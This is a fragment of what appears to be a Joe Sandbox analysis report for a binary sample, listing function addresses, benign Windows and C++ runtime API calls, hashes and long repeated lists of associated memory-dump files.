Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: ErrorLast$CopyFile
String ID:
API String ID: 936320341-0
Opcode ID: 3f9adc3e3a1e313a110e924bcbc4422c7f28802897c96169d2dfd4a2e575b5cf
Instruction ID: 999c0e895d2c0c12228f0f868b5bbe228acd3f1d370a1ef6c15cf0393e2bba74
Opcode Fuzzy Hash: 3f9adc3e3a1e313a110e924bcbc4422c7f28802897c96169d2dfd4a2e575b5cf
Instruction Fuzzy Hash: 4751BE72D0121DABDB21DFE4DC45BEEBBB9EF09320F10426AE504B7281DB355A058BA0

Function 00236CA0 Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?), ref: 00236D07
std::_Throw_Cpp_error.LIBCPMT ref: 00236D4F
std::_Throw_Cpp_error.LIBCPMT ref: 00236D60

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ErrorLast
String ID:
API String ID: 2454169095-0
Opcode ID: d668f175a1af9a394824364d977b4fa107a9b2eb14b802c4472d7b1c65424753
Instruction ID: 5b988e146efecde5f1897346a5c76441a62a94d383ca9694c0446c734cf04c30
Opcode Fuzzy Hash: d668f175a1af9a394824364d977b4fa107a9b2eb14b802c4472d7b1c65424753
Instruction Fuzzy Hash: 1E1138F1A6124AB6CB245F686C4D7A93F689713720F108326E4355B6C1DB318D658A51

Function 00236C10 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,00000000,00000005,?), ref: 00236C55
std::_Throw_Cpp_error.LIBCPMT ref: 00236C84
std::_Throw_Cpp_error.LIBCPMT ref: 00236C95

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateDirectory
String ID:
API String ID: 2715195259-0
Opcode ID: 09a3005397d03f81e0cf5c27d926f9b6a5df53adebf69772fe6cbda69b845c27
Instruction ID: f735559106852dbc7d0ca2f98189f659fa2946bdee43631f5e38d3a2e29b4d24
Opcode Fuzzy Hash: 09a3005397d03f81e0cf5c27d926f9b6a5df53adebf69772fe6cbda69b845c27
Instruction Fuzzy Hash: C8F0F9B1952605BBC311AF58AC0EB5A77A8D703730F10432AF435563C1EB710E518BA5

Function 00226790 Relevance: 3.3, APIs: 2, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00226BA0: GetLastError.KERNEL32(?,00000000), ref: 00226BD3

std::_Throw_Cpp_error.LIBCPMT ref: 00226B84
std::_Throw_Cpp_error.LIBCPMT ref: 00226B95

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ErrorLast
String ID:
API String ID: 2454169095-0
Opcode ID: 8a6745b31a8972cd2b3373074f1b93b623d38618ac44c0ea95b89748f35edf88
Instruction ID: f903999aa8da003b1ed697eb491952c560b12bb9462a30275de458e973bd0d3b
Opcode Fuzzy Hash: 8a6745b31a8972cd2b3373074f1b93b623d38618ac44c0ea95b89748f35edf88
Instruction Fuzzy Hash: 17C19CB1C00249DBDB04DFA8D9457EDBBB0BF15304F248299D81577382EB745A89CFA2

Function 002265F0 Relevance: 3.1, APIs: 2, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 0022676A
std::_Throw_Cpp_error.LIBCPMT ref: 0022677B

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: f243e1ac822a2e7a4e8eb37b3fe22adc6d9b8b3a05ef346d7491076edeedb1e8
Instruction ID: 7982c6fe16746034a5385a7110343795b437b9688a328a0a2bc49ac3f683b201
Opcode Fuzzy Hash: f243e1ac822a2e7a4e8eb37b3fe22adc6d9b8b3a05ef346d7491076edeedb1e8
Instruction Fuzzy Hash: 894123B2E113019BCB20DFA8E94976EB7B4EB81310F18032AE815573D1EB75AE54CB91

Function 0018D0D8 Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0018D13C
__dosmaperr.LIBCMT ref: 0018D143

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: ErrorLast__dosmaperr
String ID:
API String ID: 1659562826-0
Opcode ID: b6457e70070a56153be9bbbf8cee8e3b1097a42a28fc6670d03805898a319b5f
Instruction ID: 59ef6245546a5cb56bcfe6ca1a7d3bd439818584657dd2b6b135d2f4dffc0b9a
Opcode Fuzzy Hash: b6457e70070a56153be9bbbf8cee8e3b1097a42a28fc6670d03805898a319b5f
Instruction Fuzzy Hash: 0421A532A04705BBDF21BF25AC05E5BB7A6AF91370F114619F829972D1EB70EE418F90

Function 0019B9D0 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0018D2B1,?), ref: 0019B9E2
__dosmaperr.LIBCMT ref: 0019B9E9

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
